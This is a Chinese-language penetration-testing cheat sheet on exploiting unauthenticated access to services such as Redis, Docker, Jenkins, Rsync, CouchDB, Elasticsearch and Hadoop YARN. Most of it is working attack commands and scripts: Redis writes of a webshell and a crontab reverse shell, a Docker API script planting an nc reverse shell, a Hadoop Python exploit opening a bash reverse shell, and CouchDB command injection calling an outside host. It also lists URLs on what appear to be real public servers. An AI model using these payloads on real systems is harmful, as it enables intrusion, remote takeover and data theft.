常见组件未授权访问漏洞利用
简单总结下常见组件未授权访问漏洞利用方式
感谢大佬的总结 https://xz.aliyun.com/t/6103
Redis 未授权访问漏洞
1. 写webshell
config set dir /var/www/html
config set dbfilename test.php
config set webshell "<?php phpinfo(); ?>"
save
2. 写crontab反弹shell
redis-cli.exe -h 192.168.18.138
config set dir /var/spool/cron
set -.- "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.15.3/5555 0>&1\n\n\n"
config set dbfilename root
save
3.Redis 基于主从复制的 RCE
https://paper.seebug.org/975/
MongoDB 未授权访问漏洞
直接连接,泄露敏感信息,增删查改
使用 NoSQLBooster 连接
下载地址:https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
Jenkins 未授权访问漏洞
http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
点击 "脚本命令执行"
可执行系统命令 println "whoami".execute().text
写文件 new File ("/var/www/html/shell.php").write('<?php phpinfo(); ?>')
Memcached 未授权访问漏洞
Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。
测试漏洞:
telnet 10.0.4.138 11211 或 nc -vv <target> 11211
无需用户名密码,可以直接连接memcache 服务的11211端口
JBOSS 未授权访问漏洞
默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输入用户名和密码可以直接部署上传木马
EXP: https://www.exploit-db.com/exploits/36575
Docker 未授权访问漏洞
Docker Remote API是一个取代远程命令行界面(rcli)的REST API。
通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,
我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。
未授权访问测试: docker -H tcp://192.168.15.5:2375 version
通过crontab反弹宿主机shell
# vps监听9999端口
nc -lvnp 9999
# 启动容器,并挂载本地/etc/crontabs目录
docker -H tcp://192.168.15.5:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://192.168.15.5:2375 ps
docker -H tcp://192.168.15.5:2375 exec -it a8ff7ed880fb sh # 进入容器
#写计划任务反弹shell
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root # 查看/tmp/root 文件
exit #退出容器
利用的python脚本:
import docker
client = docker.DockerClient(base_url='http://{target_ip}:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
https://github.com/Tycx2ry/docker_api_vul
ZooKeeper 未授权访问漏洞
Zookeeper的默认开放端口是2181。Zookeeper安装部署之后默认情况下不需要任何身份验证,
造成攻击者可以远程利用Zookeeper,通过服务器收集敏感信息或者在Zookeeper集群内进行破坏(比如:kill命令)。
攻击者能够执行所有只允许由管理员运行的命令
测试漏洞: echo envi | nc ip por
直接连接: ./zkCli.sh -server ip:por
Rsync 未授权访问漏洞
Rsync(remote synchronize)是一个远程数据同步工具,
可通过 LAN/WAN 快速同步多台主机间的文件,也可以同步本地硬盘中的不同目录。
Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。Rsync 的默认端口为 837
未授权访问测试
#rsync rsync://{target_ip}/
rsync rsync://172.16.2.250:873/
rsync rsync://172.16.2.250:873/src
#下载文件
rsync rsync://172.16.2.250:873/src/etc/passwd ./
#上传文件, 上传nc.sh 到 cron.hourly
rsync -av nc.sh rsync://172.16.2.250:873/src/etc/cron.hourly
CouchDB 未授权访问漏洞
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。
它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序),
默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。
其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。
未授权访问测试
curl http://192.168.18.129:5984
curl http://192.168.18.129:5984/_config
命令执行
curl -X PUT 'http://192.168.18.129:5984/_config/query_servers/cmd' -d '"curl http://192.168.18.138:9999/test.php"'
Elasticsearch 未授权访问漏洞
ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。
Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。
Elasticsearch的增删改查操作全部由http接口完成。由于Elasticsearch授权模块需要付费,所以免费开源的Elasticsearch可能存在未授权访问漏洞。
该漏洞导致,攻击者可以拥有Elasticsearch的所有权限。可以对数据进行任意操作。业务系统将面临敏感数据泄露、数据丢失、数据遭到破坏甚至遭到攻击者的勒索。
Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
未授权访问测试
curl http://localhost:9200/_nodes #查看节点数据
调用api,进行数据的增删改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river
一些利用url
http://101.198.161.130:9200/_cat/indices/
http://101.198.161.130:9200/_plugin/head/
http://101.198.161.130:9200/_nodes
http://101.198.161.130:9200/_nodes?prettify
http://101.198.161.130:9200/_status
http://101.198.161.130:9200/_search?pretty
http://10.203.9.131:9200/zjftu/
http://10.203.9.131:9200/zjftu/_search?pretty
Hadoop 未授权访问漏洞
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,
黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
未授权访问测试
访问 http://192.168.18.129:8088/cluster
通过REST API命令执行
利用过程:
在本地监听端口 >> 创建Application >> 调用Submit Application API提交
python EXP:
#!/usr/bin/env python
import requests
target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
Jupyter Notebook 未授权访问漏洞
Jupyter Notebook(此前被称为 IPython notebook)是一个交互式笔记本,支持运行 40 多种编程语言。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,
游客可在其中创建一个console并执行任意Python代码和命令。
未授权访问测试
访问 http://192.168.18.129:8888
利用terminal命令执行
New > Terminal 创建控制台
VNC 未授权访问漏洞
VNC 默认端口号为 5900、5901。VNC 未授权访问漏洞如被利用可能造成恶意用户直接控制target主机。
GitLab
任意用户注册后可查看,下载项目内容
Atlassian Crowd 未授权访问漏洞
攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限。
未授权访问测试
进行上传一个标准的插件,来自atlassian-bundled-plugins中的applinks-plugin-5.4.12.jar
curl --form "file_cdl=@applinks-plugin-5.4.12.jar" http://192.168.18.138:8095/crowd/admin/uploadplugin.action -v
Atlassian Crowd RCE
漏洞利用脚本github地址:https://github.com/jas502n/CVE-2019-11580